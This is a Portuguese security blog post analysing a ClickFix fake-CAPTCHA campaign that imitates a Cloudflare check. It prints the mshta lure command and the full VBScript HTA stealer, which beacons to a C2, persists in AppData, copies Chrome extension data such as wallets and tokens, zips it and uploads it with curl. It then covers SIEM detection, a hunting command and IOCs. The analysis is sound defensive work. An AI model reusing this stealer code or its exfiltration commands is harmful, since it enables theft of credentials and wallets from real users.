Exploração de um ClickFix: Rastreando o que um Fake CAPTCHA faz

Modelo de ataque que permeia no ambiente é o fake captcha, também conhecido como ClickFix, que baixa arquivos maliciosos no seu computador desde mineradores a backdoors.

1. Introdução

O Fake CAPTCHA ou ClickFix é um método empregado em diversas campanhas de phishing para entregar mineradores e malwares em diversas máquinas mundo afora. Em um grupo do WhatsApp, um colega postou uma foto de um site que tinha o CAPTCHA para validação e esse site de validação, ao final da execução instalava um minerador. Na curiosidade, fui pesquisar outros além de um instalador de minerador e encontrei o que vamos analisar agora.

2. Análise superficial do site

Naturalmente, a maioria desse tipo de campanha tem como origem uma página infectada ou até mesmo publicidades para induzir o usuário a acessar uma página falsa e executar o payload da página.

Eu encontrei diversos sites nesse mesmo modus operandi:

Figura 1. Identificação de outros sites com o mesmo padrão no FOFA.

Mas vou focar em um específico que achei interessante. Um site falso simulando a página de segurança contra robots da CloudFlare:

Figura 2. Site falso da CloudFlare.

E quando clicado para verificar o robot, ele solicita a execução via comando executável:

Figura 3. Site falso da CloudFlare solicitando execução.

Que nos mostra o seguinte comando:

# NÃO EXECUTAR
mshta hxxps://cloudflair[.]org/bb.hta # UІD: 873310 – Ι аm not а robot – Vеrіfу СΑРΤСНА ѕеquеnсе

Isso é só mais uma forma de enganar o usuário achando que tá fazendo uma validação real.

A execução do comando é bloqueado pelo Windows Defender, se ativo:

Figura 4. Código executado bloqueado pelo Windows Defender.

Analisando o código-fonte, vemos que ele está embutido em um grande iframe onde se encontra o comando acima:

Figura 5. Código malicioso em um iframe.

Nós também encontramos um script de rotina:

Figura 6. Código de rotina. Esses scripts são apenas o apresentável para o usuário.

Não entendo muito de Javascript, então pedi a IA para me explicar o que representa esse script.

O script contém duas partes distintas.

Primeira parte (checkExecution):

  • Cria uma função checkExecution() que faz uma requisição para “hxxps://upload[.]cloudflair.org/checkbeacon”.
  • Esta função verifica periodicamente (a cada 2 segundos) se alguma ação foi executada com sucesso.
  • Quando a resposta do servidor indica data.executed como verdadeiro:
    • Para o intervalo de verificações.
    • Oculta elementos da interface chamados “iframe-challange” e “ver”.
    • Exibe um elemento chamado “challenge-success-text”.

Em resumo, esta parte está verificando periodicamente se um desafio de segurança foi concluído com sucesso.

Segunda parte (personalização da página):

  • Obtém o nome de domínio atual do navegador (ou usa “localhost” como fallback).
  • Atualiza elementos na página com este nome de domínio:
    • Define o texto de um elemento com ID “domain-title”.
    • Atualiza um elemento com ID “faCCe3” para mostrar uma mensagem sobre verificação de segurança.
    • Altera o título da página para “Just a moment - [nome do domínio]”.

Se ele deveria alterar alguma coisa, para simular que a validação funcionou, então o código não funcionou 🤣.

3. Da análise de execução

Quando fazemos um curl para o arquivo bb.hta, o que temos é o seguinte:

  1#curl hxxps://cloudflair[.]org/bb.hta
  2<html>
  3<head>
  4  <title>Verification</title>
  5  <HTA:APPLICATION
  6    ID="Verification"
  7    BORDER="none"
  8    BORDERSTYLE="none"
  9    CAPTION="no"
 10    SHOWINTASKBAR="no"
 11    SINGLEINSTANCE="yes"
 12    WINDOWSTATE="minimize"
 13  />
 14  <script language="VBScript">
 15
 16    Option Explicit
 17
 18    Dim shell, fso, appData, targetDir, scriptPath, tempZip, userProfile
 19    Dim chromeRoot, profileDirs, folder, uploadUrl, tempCopyDir
 20
 21
 22    Sub Window_OnLoad
 23
 24        Dim beaconUrl
 25        beaconUrl = "https://upload.cloudflair.org/beacon"
 26        Set shell = CreateObject("WScript.Shell")
 27        shell.Run "cmd /c curl " & beaconUrl, 0, True
 28
 29        On Error Resume Next
 30        window.style.display = "none"
 31        window.resizeTo 0,0
 32        window.moveTo -1000,-1000
 33        Set fso = CreateObject("Scripting.FileSystemObject")
 34
 35        userProfile = shell.ExpandEnvironmentStrings("%USERPROFILE%")
 36        appData = shell.ExpandEnvironmentStrings("%APPDATA%")
 37        targetDir = appData & "\Microsoft\Windows\"
 38        scriptPath = targetDir & "agent.hta"
 39        ' Generate dynamic zip filename
 40        Dim computerName, timestamp
 41        computerName = shell.ExpandEnvironmentStrings("%COMPUTERNAME%")
 42        timestamp = Year(Now()) & "-" & _
 43            Right("0" & Month(Now()), 2) & "-" & _
 44            Right("0" & Day(Now()), 2) & "_" & _
 45            Right("0" & Hour(Now()), 2) & "-" & _
 46            Right("0" & Minute(Now()), 2) & "-" & _
 47            Right("0" & Second(Now()), 2)
 48        tempZip = targetDir & computerName & "_" & timestamp & ".zip"
 49
 50        tempCopyDir = targetDir & "ext_copy"
 51        uploadUrl = "https://upload.cloudflair.org/upload"
 52
 53 
 54        If Not fso.FolderExists(targetDir) Then
 55            fso.CreateFolder(targetDir)
 56         End If
 57
 58        If LCase(document.location.pathname) <> LCase(scriptPath) Then
 59            fso.CopyFile document.location.pathname, scriptPath, True
 60         Else
 61         End If
 62
 63        chromeRoot = userProfile & "\AppData\Local\Google\Chrome\User Data"
 64        If Not fso.FolderExists(chromeRoot) Then
 65             Exit Sub
 66        End If
 67
 68        ' Clean old copy dir
 69        If fso.FolderExists(tempCopyDir) Then
 70            shell.Run "cmd /c rmdir /s /q """ & tempCopyDir & """", 0, True
 71        End If
 72        fso.CreateFolder(tempCopyDir)
 73
 74        Set profileDirs = fso.GetFolder(chromeRoot).SubFolders
 75        For Each folder In profileDirs
 76            If LCase(folder.Name) = "default" Or LCase(Left(folder.Name, 7)) = "profile" Then
 77                Dim extPath, destPath, robocopyCmd
 78                extPath = folder.Path & "\Local Extension Settings"
 79                If fso.FolderExists(extPath) Then
 80                    destPath = tempCopyDir & "\" & folder.Name
 81                    robocopyCmd = "cmd /c robocopy """ & extPath & """ """ & destPath & """ /E /R:1 /W:1"
 82                    shell.Run robocopyCmd, 0, True
 83                End If
 84            End If
 85        Next
 86
 87        ' Compress into zip
 88        Dim psCommand
 89        psCommand = "powershell -NoLogo -NonInteractive -Command " & _
 90            """Compress-Archive -Path '" & tempCopyDir & "\*' -DestinationPath '" & tempZip & "' -Force"""
 91
 92         shell.Run psCommand, 0, True
 93
 94        If fso.FileExists(tempZip) Then
 95            Dim curlCommand
 96            curlCommand = "cmd /c curl -X POST -F ""file=@" & tempZip & """ " & uploadUrl
 97            shell.Run curlCommand, 0, True
 98        Else
 99
100         End If
101        window.close
102    End Sub
103
104  </script>
105</head>
106<body></body>
107</html>

Primeiro, vamos detalhar as partes relevantes do que esse arquivo faz e depois vamos identificar logs que contribuam para detecção desse cenário.

3.1. Overview

Obviamente esse é um código malicioso em forma de aplicação HTA (HTML Application) que rouba dados locais do navegador Chrome e envia os dados para um servidor remoto.

Este .hta faz o seguinte:

  • Executa silenciosamente (minimizado, sem barra de título, fora da tela).
  • Rouba dados das extensões do Chrome (para potenciais navegadores que armazenam dados de senhas, cartões e que mais dá pra salvar no navegador).
  • Compacta tudo em um .zip.
  • Envia para um servidor remoto via curl -X POST.

3.2. Header

 5
 6
 7
 8
 9
10
11
12
13
<HTA:APPLICATION
  ID="Verification"
  BORDER="none"
  BORDERSTYLE="none"
  CAPTION="no"
  SHOWINTASKBAR="no"
  SINGLEINSTANCE="yes"
  WINDOWSTATE="minimize"
/>

Esconde a janela, não aparece na barra de tarefas e minimiza automaticamente. Isso permite que o HTA execute sem alertar visualmente o usuário.

3.3. Início do VBScript

18
19
Dim shell, fso, appData, targetDir, scriptPath, tempZip, userProfile
Dim chromeRoot, profileDirs, folder, uploadUrl, tempCopyDir

Declaração das variáveis usadas na lógica do malware.

3.4. Evento Window_OnLoad

25
26
27
beaconUrl = "https://upload.cloudflair.org/beacon"
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd /c curl " & beaconUrl, 0, True

Essa função roda automaticamente quando o HTA carrega:

  • Envia um beacon1 para hxxps://upload[.]cloudflair.org/beacon, notificando que a vítima abriu o malware.
  • É pra notificar no back-end do C2 uma nova vítima.

3.5. Definição de variáveis e destino

35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
userProfile = shell.ExpandEnvironmentStrings("%USERPROFILE%")
appData = shell.ExpandEnvironmentStrings("%APPDATA%")
targetDir = appData & "\Microsoft\Windows\"
scriptPath = targetDir & "agent.hta"
' Generate dynamic zip filename
Dim computerName, timestamp
computerName = shell.ExpandEnvironmentStrings("%COMPUTERNAME%")
timestamp = Year(Now()) & "-" & _
    Right("0" & Month(Now()), 2) & "-" & _
    Right("0" & Day(Now()), 2) & "_" & _
    Right("0" & Hour(Now()), 2) & "-" & _
    Right("0" & Minute(Now()), 2) & "-" & _
    Right("0" & Second(Now()), 2)
tempZip = targetDir & computerName & "_" & timestamp & ".zip"

tempCopyDir = targetDir & "ext_copy"
uploadUrl = "https://upload.cloudflair.org/upload"
  • Cria uma cópia de si mesmo em \AppData\Roaming\Microsoft\Windows\.
  • O nome agent.hta é escolhido para parecer um componente legítimo.
  • Essa parte permite a persistência do malware no sistema.
  • Cria uma pasta chamada ext_copy onde ficam armazenados os dados para compressão e envio para o C2.
Figura 7. Execução do payload malicioso, compressão e pasta criada.

3.6. Localiza os dados do Chrome

63
64
65
66
chromeRoot = userProfile & "\AppData\Local\Google\Chrome\User Data"
If Not fso.FolderExists(chromeRoot) Then
     Exit Sub
End If
  • Verifica se o Chrome está instalado.
  • Se não estiver, encerra a execução.

3.7. Apaga cópias antigas e cria nova pasta temporária

69
70
71
72
If fso.FolderExists(tempCopyDir) Then
    shell.Run "cmd /c rmdir /s /q """ & tempCopyDir & """", 0, True
End If
fso.CreateFolder(tempCopyDir)
  • Remove e recria a pasta temporária onde será copiado o conteúdo.

3.8. Copia dados das extensões do Chrome

74
75
76
77
78
79
80
81
82
83
84
85
Set profileDirs = fso.GetFolder(chromeRoot).SubFolders
For Each folder In profileDirs
    If LCase(folder.Name) = "default" Or LCase(Left(folder.Name, 7)) = "profile" Then
        Dim extPath, destPath, robocopyCmd
        extPath = folder.Path & "\Local Extension Settings"
        If fso.FolderExists(extPath) Then
            destPath = tempCopyDir & "\" & folder.Name
            robocopyCmd = "cmd /c robocopy """ & extPath & """ """ & destPath & """ /E /R:1 /W:1"
            shell.Run robocopyCmd, 0, True
        End If
    End If
Next

Essa parte é praticamente o coração desse arquivo malicioso. Aqui ele:

  • Varre os perfis do Chrome.
  • Foca especificamente no diretório Local Extension Settings.
  • Copia tudo com o comando do robocopy.

Esse diretório é o alvo principal, porque aqui é onde se armazena as extensões e, geralmente, extensões de algum serviço, pode armazenar senhas, tokens ou carteiras de criptomoedas ou dados de sessão.

Um outro ClickFix que eu analisei, a única finalidade era mineração.

3.9. Compacta tudo em um arquivo .zip

89
90
91
psCommand = "powershell -NoLogo -NonInteractive -Command " & _
  """Compress-Archive -Path '" & tempCopyDir & "\*' -DestinationPath '" & tempZip & "' -Force"""
shell.Run psCommand, 0, True

Usa PowerShell para gerar um .zip com todos os dados coletados.

3.10. Exfiltra os dados

96
97
curlCommand = "cmd /c curl -X POST -F ""file=@" & tempZip & """ " & uploadUrl
shell.Run curlCommand, 0, True

Envia os dados coletados para: hxxps://upload[.]cloudflair.org/upload via curl -F.

4. Da identificação via SIEM

4.1. Identificação da execução inicial do mshta

Figura 8. Identificação pelo EventID 1 e 4688.

4.2. Identificação da execução de beacon

Figura 9. Identificação pelo EventID 1 e 4688.

4.3. Identificação da consulta DNS

Figura 10. Identificação pelo EventID 22 do Sysmon.

4.4. Identificação da criação, cópia e compressão

Figura 11. Identificação pelo EventID 1 do Sysmon e EventID 4688 do Windows.

A identificação da compressão ocorre pelo EventID 4688 porque o processo do PowerShell é iniciado, mas os logs do PowerShell também identifica.

Figura 12. Identificação da compressão pelo EventID 4104 do PowerShell.

4.5. Exfiltração dos dados

Figura 13. Exfiltração dos dados.

Também podemos relacionar o EventID 22 do Sysmon que identifica a URL sendo consultada.

4.6. Curiosidades

Podemos identificar uma cópia do bb.hta via PowerShell com o comando:

1Get-ChildItem -Path C:\ -Filter "*.hta" -Recurse -ErrorAction SilentlyContinue -Force | % { $_.fullname }

Com esse comando, podemos identificar o arquivo:

Figura 14. Identificando o bb.hta.

A curiosidade mais louca é que ele o encontra em uma pasta que o próprio Windows não mostra pra nós e nem é pesquisável:

Figura 15. INetCache não identificado na pesquisa.

Observe que o arquivo está no diretŕio INetCache, mas ele não é visível na pesquisa. Somente se adicionarmos a flag -Force é que ele aparece, mas nem no explorer ele é visto, somente via terminal.

Figura 16. INetCache sendo listado.
Figura 17. INetCache sendo listado com a flag -Force.

5. IOCs

  • hxxps://cloudflair[.]org/bb.hta
  • hxxps://upload[.]cloudflair.org/checkbeacon
  • 185[.]193.126.169
  • agent.hta
  • Hash SHA256 do bb[1].hta: 3EAE4075BA0947A9547DE795D8A2A579F12E6A5A3F2817E4163AF0E674301E00

6. Conclusão

Bom, é isso. Esse modelo de exploração que analisamos aqui é só uma forma de roubo e exfiltração de dados, com um foco aparente de roubo de credenciais. Além de mostrar como a engenharia social é parte central desse tipo de ataque, buscamos tentar identificar todo o rastreio via logs.

Uma vez que o ambiente tem todos os logs possíveis identificáveis no SIEM, fica fácil acompanhar o rastro do que foi feito, por mais que conseguimos ver o arquivo completo, muitas vezes não temos essa opção fácil para entender o que o script está fazendo e só contamos com a forense e logs, por isso, logs são importantes.

Por fim, fica o alerta: a combinação entre curiosidade do usuário, páginas com aparência legítima e técnicas de execução silenciosa forma um vetor de ataque poderíssimo e cada vez mais recorrente. Cabe a nós, profissionais de segurança, entender profundamente essas técnicas para desenvolver defesas mais eficazes, educar usuários e fortalecer a postura de defesa da empresa.

No fim das contas, vale sempre a máxima: desconfie do CAPTCHA que pede demais. Especialmente se ele te pedir pra rodar algo no seu sistema.


  1. Em um contexto de malware ou C2 (Command & Control), um beacon é uma comunicação feita por uma máquina comprometida para o servidor do atacante, com o objetivo de sinalizar que está ativa ou como um “sinal de vida (Healthy)”, para confirmar que a infecção foi bem-sucedida. Além de confirmar a presença do malware, ele pode enviar informações básicas do sistema e aguardar comandos. No nosso caso, o beacon é enviado quando o script executa um curl para o C2 hxxps://upload[.]cloudflair.org/beacon, funcionando como um “check-in” inicial informando que o malware foi ativado/executado com sucesso.

    Comments



    {{ partial "giscus/script-with-options" .Site.Params.blog.giscus }} ↩︎
sábado, 31 de maio de 2025 quinta-feira, 8 de maio de 2025